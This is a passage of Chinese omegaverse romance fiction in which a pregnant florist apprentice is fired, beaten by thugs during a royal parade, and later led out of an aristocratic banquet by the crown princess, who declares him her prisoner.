陆怀峰微抬目光:“陛下的想法,属下不敢妄加揣测。有朝一日他醒了,您或许应该亲自问他。” “如果,我不希望他醒来呢?” 江意衡抬手按在镜面上,寒意透过掌心蔓延。 她目光生冷,俨然不是在审视镜中的自己,而是在审视另一个人。 陆怀峰还未接话,九点的钟声准时敲响。 “仪仗队该等急了。” 江意衡转身,厚重披风在地上扫出风的痕迹。 经过陆怀峰身边时,她伸手接过他捧起的帽子,为自己一丝不苟地戴上。 “角落里的东西,记得处理掉。” 陆怀峰斜过视线,这才留意到镜边那只先前被披风挡住的花篮。 其中有几枝白色茉莉若隐若现。 “需要属下帮您直接扔掉吗?”他追问。 江意衡的背影已从门外淡去,声音却一字不落地飘进他耳中。 “王室每天丢掉的垃圾还不够多吗?” 她似乎在冷笑,“像这种东西,从哪来,就回哪去。” * 简星沉才拽开花店大门,一束花材就伴随着徐子悦的怒斥,朝他砸了过来。 “我允许你自由发挥,你就是这样自由发挥的?” 纤细的茎秆挂在少年身上,远不到成熟之时的蔷薇果一颗颗散落,好像断裂的青色珠串一样洒在他肩头,冰冷的养花水沿着他的发丝滴落脚尖。 他抬起一张茫然的脸:“出什么事了?” “出什么事?” 徐子悦火气更甚,“你的插花被原路退回来,客户的巴掌都快甩到我脸上了!” 简星沉顾不得滴水的发丝,低着头努力反思:“我都检查过的。花瓣上没有灰霉,花枝也修过,水是过滤的,还加了调配好的营养剂。昨天下午打包送走的时候,这篮花,明明还是好的……” 他拨开垂落的潮湿发丝看去,淡紫色的康乃馨正躺在脚边,而本应点缀在绿叶间的白色茉莉早已支离破碎,连一朵完整的花苞也没有。 一个忐忑的念头从脑中浮现:“客户是不是,不喜欢茉莉花?” “你现在才想起,要揣摩客户的喜好了?” 徐子悦一脚踩上茉莉枝叶,手指甲用力戳在简星沉的额头,“你这么聪明,早干什么去了?你是不是觉得,第一次靠讨巧赢得人家青睐,这次反正有我给你兜底,铤而走险也不要紧?” 简星沉拼命摇头:“不,不是这样的。” 他插花的时候,徐子悦明明就在旁边看着,却什么也没说。 而现在,徐子悦几句话,就让他的信心彻底动摇。 “我没想过,茉莉会那么讨人嫌弃。我以为,那样会好看……” 徐子悦一手叉腰,整个人气得朝后仰,还发出怪笑:“你觉得好看,能有客户觉得好看来得重要?你当是在给自己插花吗?这么简单的道理,你都琢磨不明白,还想混这行?你知不知道自己惹怒的是什么样的人!” 简星沉缩着肩膀,甚至不晓得该怎么为自己辩护:“我真的不知道。” 他听说那是中心区的重要客户,仅此而已。 “你不知道?是啊,你当然不知道。像你这种人,凭什么知道。” 徐子悦咬着牙,语气阴狠,“我也是今天才知道,我现在,就让你死个明白。” 他抄起手边的花篮,朝地面直直砸去,水花四溅,碎裂声响彻花房。 “你得罪的,是帝国如今风头最盛的王储本人。从今天起,你给我滚出徐悦斋!” * 上午十点的阳光,将少年的影子拉得狭长。 简星沉伫在街头,目视着人来人往。 眼前,几个孩童手持嘶嘶作响的仙女棒,像一道轻快的风从他面前经过,却也把他的挎包撞到地上。 他的钥匙、手机、记事本,还有一小袋饼干,都散落在地。 可他只是垂下目光,一动不动站在原地。 过了好久,才俯身拾起个人物品。 今天本来是个好天气,过去一个月都没有这样晴朗无云的早晨。 只是路况很不好。 他为了及时赶到徐悦斋报道,连早饭都没吃,随手塞了两片饼干在包里。 而这两片饼干,已经在密封袋里压碎了。 明明饿得发晕,简星沉却无意识地捏着袋子里的饼干渣,直到它们变得比雪更细碎。 来到上城区学习插花还没一星期,他连月季的品种都没认齐,就失去了学徒资格。 可这怪不了任何人,只能怪他自己。 他不该心存侥幸。 如果他早知道,那是江意衡…… 如果他早知道,自己是在为江意衡插花…… 他一定会万分小心谨慎,绝对不会掺杂任何个人喜好。 他一定一定,会把令他成为简星沉的血肉,都从那双插花的手上剥离出去,只留下机械一样精准的骨架。 少年像是要说服自己一样,用力攥起手指,直到密封袋在手中变形、破裂。 可他明明记得,江意衡是喜欢茉莉花的。 虽然她从没亲口承认过,但她即便在昏迷时,手里都紧紧攥着残缺不全的茉莉花束。 当她发现他在书里藏着茉莉花瓣时,脸上的表情,甚至是高兴的。 只要触及茉莉,江意衡总是放松、平静的。 她又是从什么时候起,开始讨厌茉莉了? 少年的思绪周而复始,像在死胡同里打转。 回过神时,一声尖锐哨音骤然划过耳际。 周围不知何时变得喧嚣而嘈杂。 人声此起彼伏,好像十几辆老式轿车在原地先后轰响,夹杂着笑声、呼喊还有持续不散的嗡鸣。 他愣了愣,几乎怀疑,这里并不是那个向来清静安详的上城区。 每一个街角都挤满了人。 身着制服的安保署人员沿路拉开警戒线,不厌其烦地维持现场秩序。 简星沉在人群里瞥见几个熟悉的身影,是他在燃味轩的同事。 他们穿着统一的宣传服,背上的餐馆商标鲜明醒目。 众人高举着鲜花、气球与旗帜。 拉开的横幅上,赫然写着“欢迎王储殿下”的大字。 所以,王储亮相…… 是今天? 循着由远及近的礼乐声,简星沉回过目光。 率先跃入视野的,是井然有序的王室仪仗队。 前排人手持剑,接着依次是打鼓、敲锣以及吹奏风笛的人,再是扛着步枪的步兵,和手执长枪的骑兵。 帝国虽然以科技发展为荣,但贵族却追崇复古习俗,并以此彰显地位,王室仪仗队亦不例外。 仪仗队的士兵无不身着挺括立领夹克,领口嵌有铜制帝国徽章,足蹬黑色高筒皮靴。 紧随其后的,是一匹宛若从传说中走出的白马。 一身鬃毛洁白如雪,金色马具衬得它神圣又夺目。 然而,比骏马更夺目的,却是骑在马背上的人。 年仅二十四岁的帝国王储,头上戴着一顶缀有白色长羽的皮帽,恍如天神降世。 明明是白昼,她身后的披风却像最深沉的夜色,笼罩在马背上。 江意衡正坦然挥手,向两侧人群致意。 阳光模糊了她的面容,可她的身姿冷峻、威严,挑不出一丝瑕疵。 簇拥在浩浩荡荡的仪仗队中间,仿佛天上的太阳那么高、那么远。 围观众人惊叹不已。 “殿下好帅,照片根本无法还原殿下的帅气!听说她和国王陛下年轻的时候特别像。” “青出于蓝而胜于蓝,我看过对比照片,殿下英姿飒爽,根本不输当年的陛下!” “不是说殿下的未婚夫也在队伍里吗,怎么没看到人?” “后面不是有辆白金马车跟着嘛!人家坐在车里,跟大家挥手呢!” “好羡慕啊!我也想坐漂亮马车,我也想有心上人骑着白马接我!” 四面八方的声音,好像无数双手掐住少年的喉咙,扼住他的思绪。 他的脑海嗡嗡作响,却反衬得心跳声更加清晰。 简星沉从未有一刻像现在这样,惶然,局促,不安。 他不该在这里。 他甚至不该站在墙边,而是应该像灰尘一样,被铲进墙缝里,用水泥封严实。 可是身边有这么多人与他分食空气,抢占每一块落脚的砖石,他连呼吸都觉得急促,更无处可躲。 只能伫在人群最后方的阴影里,远远望着,江意衡骑马从前方徐徐经过。 隔着重重人影、鲜花与喝彩,她当然没有注意到他的存在。 长久以来的渴慕终于压过理智的瞬间,少年克制不住地向前踏出半步。 他想要再一次看清她的面容,却被阳光刺痛了视线。 原来,这就是天壤之别。 那些呢喃耳语、相依相偎,都不过是一场遥远的幻梦。 简星沉抬手拂过眼眶,指尖能感觉到失落的痕迹。 潮湿,温热,带着咸涩。 他擦干眼泪,耳边突然响起的粗哑话声,却将背景中的嗡鸣刺破。 “你叫简星沉,对吧?” 少年挪开手掌时,眼前围上几个来意不善的陌生面孔。 为首的青年挠了挠脸上的刀疤,岔开腿挡住他的前路。 那架势,分明是冲他来的。 “你们……是谁?”简星沉心头一紧。 从小到大被地痞欺凌的经历,使他本能地交叉双臂护住腹部,视线扫向四周寻找出口:“我不认识你们。你们,认错人了。” “瞧这小子,就连说话的窝囊劲,都跟彧哥描述得一模一样。” 那青年扭头朝着身边几人笑了笑,又从上到下把他打量一遍,“听说徐子悦很赏识你,还收你当学徒。彧哥特地叮嘱我们几个,来好好请教请教你。” 第36章 鲜血·花香·愤怒…… 彧哥,全名杨启彧,和简星沉一样,都是苗圃的正式员工。 只因为和杨老板沾亲带故,所以无论迟到早退,还是干活划水,从来不会有人找他一点麻烦。 可从简星沉来苗圃上班的第一天起,杨启彧就毫不掩饰地表现出厌恶。 简星沉的第一副园艺手套,是被他当面剪破的。 事发处刚好是监控死角,简星沉向杨老板求助的时候,只得来一句“你要好好跟同事相处”的劝告。 隔三岔五,简星沉不是发现自己照看的鲜花折了头,就是花盆里被人泼了脏水。 有一次,他的胶鞋里甚至被人塞了几根玫瑰刺。 他知道自己是被霸凌了。 但杨老板和稀泥,工作上也没有其他信得过的人。 他更不想让关心他的李婆婆操心这种事,一直以来都不声不响。 只是没想到,杨启彧在工作上欺压他还不够,竟然还找来社会小青年,特地围堵他。 他们来意不善,人多势众,简星沉很清楚,硬拼不会有好结果。 他侧过身,微弓着腰,强撑着底气警告他们:“安全署的人就在旁边,如果你们敢在这里斗殴伤人,他们,他们不会放过你们!” “这么多人,条子想管,也管不过来。” 带疤青年连头都懒得回,手指甲在下巴上挠了挠,又来揪少年身上那件洗到褪色的外套,“藏了什么好东西,还捂着,怕哥们几个抢走?” 两个人上前,一左一右扣住少年的肩膀,把他的衣服往上提。 简星沉抬腿反击,可整个人几乎被拎起来。 没挣扎几下,原本塞在裤腰里的T恤就卷了边,露出下面的收腹带。 恐惧一瞬间达到巅峰。 除了李又珍,没人知道,他用收腹带遮掩孕肚的事情。 “什么玩意?” 青年眯了眯眼,盯着褪色的网纱面料和尼龙搭扣看了半天,“瞧你这一身松松垮垮,刘海比鬼还重,还以为老实巴交的,原来私底下是这种货色?” 再抬眼时,青年好像发现了什么见不得人的癖好,露出阴恻恻的笑:“你居然学那种在夜店跳舞的Omega,给自己束腰?就你,还想去勾引Alpha?” 那张带着刀疤的脸一凑近,呼出的污浊口气,熏得简星沉几乎想吐。 但更可怕的,是尼龙搭扣被暴力扯开的刺耳声音。 那条陪伴简星沉一百多天的收腹带,像一条风干的死鱼那样,被小混混拎在手里晃了晃。 “这东西,一点也不适合你。怪就怪你投错胎,再怎么束腰,也不会有Alpha看上。” 青年讥讽完,歪着嘴,朝身后几人念出三个冷漠的字,“给我打。” * “他们好像很爱戴我。” 江意衡骑在马背上,突然提了一句。 微型耳麦中传来陆怀峰的恭维:“王室屈尊亮相,百年难得一遇,民众激动也是自然。” 江意衡笑了:“陆队长,我还没说完。” 她斜过视线,左侧正有几名抗议者高举告示牌,上面的大字猩红显眼。 “拒绝暴君!” “不要王权!” “王室下台!” 逐字念出上面的抗议口号,江意衡又漫不经心地感叹:“前排位置不好抢,他们至少早上六点就要开始排队吧?” 不等陆怀峰出声,她又推翻了自己的猜测:“不对,他们恐怕要从昨晚开始等。看打扮也不像是本地人,倒像是D区来的。辛辛苦苦跑这么远,就只是为了给我看个牌子,何尝不是一种拥戴。” 陆怀峰沉默片刻,才平静道:“殿下,实时统计显示,您的民意支持正在稳步提升。就如我们先前预料的那样,公开亮相对您的形象确实有积极推动。” “从百分之三十六提升到百分之四十二,确实是了不起的进步。” 江意衡不以为然,“除了你,真的会有人关心这种数字?” 阳光灼在她的侧脸,头上的帽子却丝毫起不到遮挡作用。 她愈发不满:“父亲以前到底是怎么做到的,居然能戴着这种东西,熬过三小时加冕礼。” “巡游已经过半,殿下。您再坚持三刻钟,仪仗队就会返回中心区了。” 江意衡哼了一声,继续守住脸上的刻板微笑。 虽然已有心理预期,但这顶由兽皮制作的帽子实在是又闷又沉,大大加重了她因失眠引发的头痛。 即便在出门前服了止痛药,效果仍是不如意。 无论是刺眼的抗议告示牌,挥动的闪光仙女棒,还是照耀在侧脸的阳光…… 所有一切,都只让她觉得无比烦躁。 仪仗队仍在奏乐前行,人群仍在欢呼雀跃。 可偏偏,在遍布四周的喧嚣中,无端扬起了一丝腥甜。 是血。 江意衡从小随父亲狩猎,无论是鸟兽还是人的血,她都很熟悉。 然而,像这样人群密集的公开场合,这样一派祥和的亮相活动之上,不该有血的气息。 她微微定神,试图从脑海中,将这道不请自来的腥气驱逐出去。 可血的腥甜,却围绕着她的意识丝丝缕缕弥漫开来。 直到她从腥甜中,嗅出一道几乎不可能存在于此的茉莉花香。 江意衡一愣。 在母亲的故居被铲平以前,她曾亲手从院中的茉莉植株上切下一枝,如今已在王室的花苑里占据了整整一隅。 她时常经过那里,驻足闻香。 雨后初晴、土壤湿润时,那香气最为宜人。 当暴雨来临或是飓风过境时,香气中总会泛起微妙的酸苦。 她几乎能藉由花香,感觉到属于花朵自身的喜与忧。 而现在,她在巡游路线上察觉到的这缕花香,是惊慌失措、带着求救意味的。 江意衡拉住缰绳,放慢马速。 “殿下,怎么了?”陆怀峰问。 “你没闻到?”江意衡压低声音。 “您指什么?”陆怀峰茫然。 仪仗队稳步前行,人群沸腾不息,没有一个人察觉到异样。 除了她。 循着一道突兀的尖细哭喊,江意衡撇过视线。 不远处有个孩子刚刚摔倒在地,急着想要够回什么东西,却被家长匆匆抱回警戒线后。 她收回目光,就看到一只儿童水杯骨碌碌滚到抬高的马蹄前。 若不是因为她方才收紧缰绳,这水杯恐怕就会被风暴的铁蹄踏扁。 江意衡正想放低腰间佩剑,把水杯敲回去,一道白色浓烟却从杯口倏然腾起。 耳畔响起陆怀峰的警告:“是烟雾弹,殿下!” 迟了。 烟雾虽然没有任何刺鼻气味,一向顺从稳定的风暴却还是受了刺激。 白色骏马发出几乎撕破空气的鸣唳,慌不择路迈开蹄子意图逃离,但左右是重重人影,前后都是仪仗队士兵。 近处一名骑兵掉转马头,试图拦截风暴,却差点被抬高的马蹄正中肋骨。 白马踏着错乱的步伐,无视两侧的警戒线,眼看就要冲向人群。 江意衡夹住脚蹬,迅速对马腹施加压力,双手拽紧缰绳。 马背颠簸无常,她好几次险些被甩下,脚蹬也绷到近乎脱落的边缘。 即便全身筋骨像要被震散,她却咬住唇齿,死死未曾松懈。 在剧烈的嘶鸣声中,她只感到片刻失重,身体好像忽然被抛上半空。 名为风暴的白马高高扬起前蹄,在半空中站立了五秒,鸣声撕裂空气。 那是江意衡生命中,最漫长的五秒钟。 在躲闪的人群之后,在喧嚣与嘈杂错过的角落里,在阳光触及不到的阴影中。 她只来得及扫去一眼,却偏偏望见了一个人。 一个她本以为,这辈子都不会再见到的人。 少年的单薄身板重重撞上砖墙,被堵在几个赤膊的小混混中央。 那些拳头像雨点一样砸在他的身上,他的胸口随着击打而震颤。 有人一脚踢中他的侧肋,他踉跄着弯下腰。 另一人踢中他的膝盖,他瞬间崴倒在地。 从靠墙站着、到跌倒在地,从衣服沾灰、到脸埋进泥土,不过只有片刻功夫。 像是还未长成的小树被人打折了身板,碾在尘中,他的头、肩、手、腿……无一处不是血污。 明明痛到面色惨白,却牢牢扣住了齿关。 明明浑身都在受到重击,却顾不得保护自己的颜面,只拼命蜷成一团,手臂死死护住小腹。 江意衡几乎以为是自己看错。 少年努力守住的怀抱里,分明没有任何财物。 唯有露出的小腹,隆起一点肉眼难辨的微妙弧度。 而那个旁观霸凌的加害者,正抖开一条垂下三块搭扣的宽布,像扔垃圾一样甩到地上,不屑地踩了两脚。 收腹带。 江意衡曾在母亲收拾衣物的时候,看到这种东西。 母亲告诉她,那是生下她之后,用来减少腹痛、帮助身体恢复的医疗保健品。 偶尔也会有年轻的Omega,因为不想被人发现怀着孩子,而违背医嘱,偷偷裹上它。 缠绕在鼻尖的花香陡然变得凄厉,比刺入视野的鲜血还要分明。 江意衡忘了自己身在何处,忘了自己来做什么,忘了自己如今的身份。 她的眼里,只余下那道蜷缩在地的影子。 从来都是如此,从来都没变过。 那个人,总是在挨打,总是在受苦,总是那么狼狈。 明明先转身的人是他,明明先逃跑的人也是他。 她从不是不讲理的人,既然他要走,那走了便是。 他当然可以有自己的去处,可以有自己的生活。 她以为,他至少可以过得好一点。 而他却辗转在都城脚下的泥沼里,任人作践,也不出声。 如果他宁愿作践自己,那就应该藏得更好。 为什么要重新出现在她眼前。 为什么要再度干扰她的视线。 江意衡的指尖在缰绳上无意识地扣紧,直到渗出血来。 她想要嫌恶到底,可脑海中余下的,唯有铺天盖地、克制不住的愤怒。 第37章 这酒,当然只配你喝…… “人抓到了?” 陆怀峰刚推开VIP病房的门,江意衡便冷声发问。 这位帝国王储披着黑色军装大衣,伫在窗前。 而她露出的袖口与裤腿,却是带有白金条纹的病号服。 “直接或间接参与霸凌的共有七人,包括杨氏苗圃的内部指使者,均已缉拿归案,按扰乱公众秩序的罪名予以处置。” “我问的,不是他们。” 江意衡转过身,手臂缠着带血的纱布,以绷带吊在肩头。 她的另一只手拎着一个熟悉的搪瓷杯,在他眼前轻轻一晃:“你知道我在问谁,陆队长。” 陆怀峰一时哑然。 江意衡缓步踏近。 “你明知他就在近处,却一直瞒而不报。如果不是因为这场意外,你还打算瞒到什么时候?” 她的声音不高,余音却在空旷的病房里回响。 陆怀峰深知王储殿下的脾气。 他垂首,没有辩解,只是平静陈述:“目标对象也受了伤,但并未接受近卫队救援,而是在我们控制现场时自行离开。” 他顿了顿,补充道:“是否需要属下即刻派人,将他从住处接往帝国医院?” “你已经瞒了我整整四个月,现在向我请示,不觉得晚了?” 江意衡垂眸看着杯中的小草,指尖轻拂,像在抚弄一片羽毛。 片刻后,她蓦地冷笑出声。 “既然有你的人替我操心他的死活,那就再让他多躲几天。” 她抬眼,露出危险目光,“到时候,我会亲自动手。” * 简星沉一手扶着酸痛的肩膀,一手捧着满是折痕的求职履历,拉开了燃味轩的后门。 被徐子悦扫地出门的那天,他也丢掉了杨氏苗圃的那份工作。 之后,他投出的简历接连被五家苗圃拒绝。 其中一家隐晦地向他提起,并不是他的条件不够格,而是迫于业内某位前辈的压力,不便录用他。 他终于不得不承认,自己已经被这一行集体除名的事实。 走进员工更衣室,简星沉对着镜子检查时,才发现衣领蹭上了一点氧化的粉底。 他只能从挎包里取出那盘遮瑕膏,轻轻点涂在下巴和脖子上。 这是他为了遮住身上的淤青,特地向李又珍借来的闲置化妆品,好让自己看上去体面一点。 那天挨打,害他吃了不少苦头。 他在家躺了足足一周,全靠着李又珍托医生朋友弄来的外用药,一日一日养着。 如今走起路来仍有些僵硬,脸上也还微微浮肿。 但至少,比起一周前浑身是伤地挣扎到家,已经好了太多。 趁着周围无人,简星沉隔着衣服,将手轻轻覆在小腹。 收腹带下的起伏仍旧温软和缓,没有异动。 腹中的孩子平安无恙。 这份安稳,让他不由松了口气。 他这才打开储物柜,却听到墙角电视播放今日新闻的声音。 “殿下身体无碍,精神良好,已恢复日常公务。针对殿下在巡游亮相期间遭遇的袭击事件,目前已锁定四名嫌疑人。安全署将在十二小时内完成进一步排查。” “我们强烈谴责一切诉诸暴力的行径,并再次重申,帝国严禁任何形式的合成兽用信息素滥用。这是一场有预谋的恐怖袭击,我们绝不姑息,必将彻查到底,还民众一个交代。” 画面定格在陆怀峰一贯沉肃的神情上。 小程放下遥控器,一抬头就看到简星沉,很是意外:“小简?这么早就来了?你这个时间不是还有别的活吗?” 简星沉摸着头,神色尴尬:“那边要歇几天。我闲得慌,过来看看。” 他拿出厨工服,还没来得及换上,背后却传来店长的声音。 “小简,你可算来了!明天有空□□吗?” 简星沉一头雾水,由着店长将他拽到边上。 “上周帮你顶班的小赵家里有急事,明天去不了。我可是提前大半个月就跟客户约好的,谁知道他偏偏这时候给我掉链子。” 店长因为有求于人,语气格外客气,“要不然,你顶替他去客户那儿,就当还他这个人情呗。” 上门提供餐饮服务,除了能拿到客户提供的工钱,还有机会赚到不菲的小费,一天下来小几百块不成问题。 “我去,我愿意去。” 简星沉几乎是在店长提出请求的第一秒钟,就赶紧应下。 话一出口,他又有些忐忑:“不过,我没小赵他们那么会说话,不会碍事吗?” “能碍什么事。贵族又不是只喜欢油嘴滑舌,乖巧懂事也很吃香。” 贵族? 简星沉忍不住小声问道:“我们这次,是给哪家贵族提供□□?” “贵族不都一个样,你就别多想了。” 店长塞给他一本小册子,上面没有写明客户姓名,只以一个字母Y替代。 “明早七点准时来店里,送你们过去的车子已经安排好了。” 第二天一早,简星沉换好衣服,随一车同事抵达目的地。 商务中巴驶入庄园大门的一刻,仿佛来到了童话世界。 花园深处藏着一座宛若城堡的别野,前方还坐落着典雅的大理石喷泉。 简星沉从未踏入过这样的地方。 走在铺着长绒地毯的长廊中,脚下发不出一点声音。 墙上挂满油画,画中人从童年一路过渡到少年,无一不是身着丝绒质地的礼服。 白色衣领卷起浪花般精致的蕾丝边,复古雕花款式的皮鞋油光锃亮。 那张脸上的神情始终倨傲,如同一只高贵的小天鹅,冷眼俯视着每一个路过的人。 简星沉仰着头,在油画前凝望片刻。 刚转入偏厅,他却听到一道清冷男声从不远处传来。 “毕竟受了伤,确定不用再休息几日?” “就算要我主持全场,也完全没问题。” “当然,如果她坚持,我也不会推拒。” 语句之间留有数秒停顿,像是在与人通话。 直到一声“滴”响,话音突然断了。 同时,皮鞋敲击地板的声音忽然变近。 “谁在那里?” 简星沉蓦地回神,像做错事的孩子一样,慌忙端好盘子,转身踏上旋梯逃离。 他却全然没有注意到,身后不远处,那道微微放远的目光。 * 长桌盖着一尘不染的米白色桌布,宾客从两侧陆续入座。 侍应生托着盛有香槟酒杯的银盘,穿梭在人声絮语之间,原本空旷的餐厅很快变得热闹。 刚开封的红酒被倒入窄颈宽底的醒酒器中,一缕微涩的酒香弥漫开来。 简星沉忍不住驻足的片刻,一个侍应生同事小声提醒他。 “小简,别发呆了。客人要雪莉酒,你帮他拆一瓶。” “现在?” 回忆起手册上的餐桌礼仪,简星沉有些困惑,“甜酒不是应该留到餐后吗?” “你可别死守那些规矩。” 同事对他搓了搓指尖,嘱咐道,“要让客人高兴,才能拿到更多小费,知道吗?” 简星沉点点头,闷声倒了半杯雪莉酒,端到提出要求的宾客面前。 那是个脸色酡红、大腹便便的中年男人。 何绍齐抬起浮肿眼皮,斜睨杯中酒液:“才半杯?你是在打发乞丐吗?” “对不起,我这就帮您满上。” 简星沉正要托起酒杯回去,何绍齐却一把将杯子夺走。 他摇着酒杯,抬了抬下巴,带着熏人的酒气命令道:“既然是你端来的,那不如,你帮我干了。” 这无疑是个粗鲁的要求。 何况,一个怀有身孕的Omega,在任何情况下都不该沾酒。 简星沉摇头婉拒:“先生,这不合适。” 何绍齐露出不屑神情,冷嘲道:“像你们这种人,只要给点钱,那还不是什么都做得出来?哪怕像条狗一样跪在地上求我,也不奇怪。” 简星沉咬牙压下怒意,转身就走。 系在身前的黑色围兜却被猛地一拽。 “跑什么?你老板没教过你,要尊重客人的需求,事事以客人为先吗?” 何绍齐不依不饶,抬高酒杯,粗暴地往少年脸上碰去,杯沿甚至在他颊上按出一个坑。 简星沉摆头回避,酒杯一晃,几滴褐色酒汁飞溅在对方袖口。 何绍齐脸色一沉,啪地一拍桌子,恼火地吼:“敬酒不吃吃罚酒,你还反了!” 抬起的巴掌尚未挥出,周围的喧嚣却倏地静了。 何绍齐下意识地四下张望。 只听一道脚步声由远及近,缓缓逼近他的座椅后方。 与此同时,花窗上映出一道高挑挺拔的身影,毫无预兆地闯入简星沉的世界。 那身影被彩色玻璃分割成无数碎片,仿佛一场尚未成型、仍在酝酿的朦胧梦境。 “何代表。” 熟悉而又冷冽的声线响起,如同审判降临,“公然在王室赞助的私人慈善宴席上动手动脚,你的贵族头衔,是不想要了?” 简星沉猛地抬头。 那分明,是江意衡的声音。 “殿,殿下?” 看清来人是谁的瞬间,何绍齐满脸醉意陡然醒了一半,语气更是惶恐,“您怎么会出现在这里?我之前听言总理提起,还以为您……” “怎么,难道我连亲自出席都不行?” 江意衡笑着打断他,言语中却夹着一丝不动声色的硝烟味,“几天没露面,外面还有人,说我死了呢。” 她的脚步踏在大理石地板上,愈发切近。 简星沉的身体几近冻结,目光死死盯着前方。 由玻璃拼凑而成的倒影中,江意衡的轮廓逐渐清晰,像他心底最深沉、也最畏惧的梦魇。 那种无处可逃的紧迫感,重新抓住了他。 来自帝国王储的威压十足,何绍齐抵不过,连忙起身狡辩:“殿下,刚才都是误会。” 他话锋一转,忽然指向简星沉:“是这小子端错酒,还想讹我小费!” 这是诬陷! 无论如何生活困苦,他始终守着做人的底线。 简星沉惊恐地扭头看向江意衡,手掌紧握。 他确信,江意衡能看到他。 可她却完全略过他的存在,仿佛他只是宴席上一个毫不起眼的摆设。 她的目光始终如芒般,钉在何绍齐的脸上。 江意衡不表态,少年亦不辩解。 何绍齐以为妥了,甚至得意地嗤了一声:“想想也是好笑。像这种高档小酒,一个端茶送水的下贱平民,又能品出什么滋味?” 他完全没有察觉到,王储殿下眼中凝结的寒意。 江意衡的手指像刀锋般撬入少年的面颊与酒杯之间,指尖一提,便将酒杯从何绍齐的手中剥离。 “这酒,当然只配给你这样的人喝。” 她微笑着一抬酒杯,像在礼貌回应。 何绍齐松了口气,正想开口道谢。 江意衡却将酒杯举得更高,手腕一斜。 深褐色酒液毫不留情地倾泻而下,泼了他一脸。 第38章 他是我的犯人 整条长桌静得可怕。 唯有酒液沿着发梢徐徐砸落的声音,清晰可辨。 所有宾客和侍应生齐齐怔住,不约而同望向这突如其来的场面。 褐色酒液顺着何绍齐的脸皮蜿蜒淌下,将他原本松垮的五官侵染得如同斑驳树皮,丑态毕现。 “殿下,我,我错了!” 他意识到自己踩了雷,连忙哆嗦着求饶,“我真的知道错了!” 江意衡偏开目光,唇角笑意冰凉:“那你说,你错在哪儿了?” 何绍齐语无伦次:“我错在,错在不守规矩……我不该在餐前觊觎甜酒!” “答错了。” 江意衡轻抿唇角,漫不经心地摇头,神色不经意间又冷了一分,“我再问一遍,你错在哪儿了?” 整座餐厅明明座无虚席,却连呼吸的声音都近乎消弭。 何绍齐僵硬地张了张嘴,试图辩解,却在对上她眼中那道冷锋时,硬生生把话咽了回去。 他神情恍惚地从怀里掏出方巾,擦拭脸上的粘腻酒液。 “擦什么擦。” 江意衡手腕轻晃,酒杯底一挑,将他手中方巾打落在地。 她的目光凌厉如刀,仿佛随时能把他的脸皮剜下:“少在我面前丢人现眼。” 话语掷地有声,带着不容置喙的驱逐意味。 只听一声刺耳的吱响,何绍齐仓皇起身,椅脚刮过地面,发出难堪的拖拽声。 下一秒,他却被椅腿绊倒,当场跌坐在地。 江意衡不过俯眼抬了抬眉,他旋即吓得手脚并用,跌跌撞撞爬向出口,皮鞋在地上摩擦出一连串滑稽的声响。 何绍齐的踉跄身影还未远去,旋梯尽头却响起另一道从容不迫的脚步声,悠然回荡在挑高的餐厅上空。 一道修长挺拔的身影随之缓步而下。 “均和少爷!” 何绍齐像抓住救命稻草,猛地转过身,扑通一声跪在台阶下,朝着姗姗来迟的人苦苦哀求,“殿下好像对我有误会。看在何家与言家有过交情的份上,您就帮我在殿下面前说句话吧!” 他抖着双手,试图抱住对方的腿。 “交情?” 言均和垂下视线,淡淡扫过跪在面前的人,像在看一件被风吹到脚边的垃圾。 “有误会的人,好像是你。你该不会以为,拿钱替我父亲跑几趟腿,就能攀上言家吧。” 他抬脚退开,仿佛生怕酒液脏了自己的脚。 视线却越过何绍齐,投向远处。 方才在二楼,他隔着栏杆,早已将下方发生的一切收入眼底。 穿着侍应生制服的少年分明是被何绍齐刁难,进退两难。 而江意衡过于巧合地卡在那时入场。 此刻,她就站在少年近处,视线却完全回避了他。 言均和很清楚,他的这位联姻对象,向来不在乎任何人。 她不会主动示好,更不需要刻意避嫌。 她如今这份近乎刻意的漠视,反倒让他有了几分兴趣。 言均和抬手轻掸一尘不染的白色西装,举起香槟杯,像天鹅般优雅地仰起头,闲适地抿了一口。 他眼角微弯,似笑非笑地望着江意衡:“没想到,殿下恢复得这么快。我原以为,您还得按照医嘱多休养几日,赶不上今天这场宴席呢。” 江意衡……受伤了? 简星沉下意识地抬头,视线不自觉地循向她。 他在王储巡游现场被打得那么狼狈,根本不知道周围发生了什么。 等他好不容易结束卧床,重新踏出门外,铺天盖地的新闻却对王储受伤的事情只字未提。 如果不是言均和提起,他甚至不知道,江意衡也受了伤。 他是那么焦急地想知道,她伤到哪里、还疼不疼。 可当目光触及她眼底的冷漠时,他又慌乱地低下了头。 少年眼底的关切无从掩饰。 即便王室的医生为江意衡治伤时,也不曾流露出那样的神色。 若说他们毫无关联,恐怕,连鬼都不会信。 言均和收回目光,温声提议:“既然殿下来了,我陪您入座?” “不必。” 江意衡垂眸扫过腕上终端,毫不犹豫,一把扣住简星沉的手腕。 在众人的错愕目光和低声私语中,她旁若无人地牵着他,径直穿过餐厅,向出口走去。 言均和默不作声地目送两人渐行渐远。 被牵住的少年一步三回头,刘海半掩下的神情满是惊慌失措。 可在这座宾客满座的餐厅里,却无人替他说一句话。 明明方才反抗何绍齐的时候,他还能站得板正,目光坚定。 眼下却好像提前在心里认了输,安静得近乎顺从,连挣脱的勇气都没了。 言均和兴致愈深。 他懒洋洋地向着江意衡的背影提了一句:“人毕竟是我雇来的。殿下这么急着带他走,总得给我一个理由吧?” “理由?” 江意衡脚步一顿,顺手将少年拉近身侧,视线先是扫过全场,又回到他脸上。 “很简单。” 她语声虽淡,却像是在当众宣判,“他是我的犯人。” * 纤尘未染的洁白空间,仿佛连最微小的瑕疵都被抹去。 屏幕上的数值静静跳动,仪器的滴答声规律又机械。 厚重的窗帘紧闭,连一丝阳光都无法穿透。 整个世界,好像只剩下他与这片冷寂为伴。 简星沉抱着膝盖,蜷缩在病床一角,下巴搁在骨节突出的臂弯里。 他身上穿着一件分体式浅黄色诊疗衣,是江意衡载他来到这里后,勒令他换上的。 至于他来时那套侍应生制服,还有脚上的鞋子,早在踏入病房的那一刻就被人收走。 病房里过分宁静,反衬得门外走廊里的动静格外清晰。 一个男人边踱步,边不耐烦地讲电话:“不小心怀上的孩子,早点打掉就完事,顺便把标记也洗了。营养费和误工费,我会一次性转账。” 一位年长的女士正在柔声安抚身边的人:“孩子没了不要紧,你还年轻,以后有的是机会。” 诸如此类对话,过去一刻钟里,简星沉听见不下六七次。 其间,还穿插着医护人员匆匆奔走的脚步声,病床被推走时轮子碾过地板的轱辘声,以及隔壁病房里的小声啜泣…… 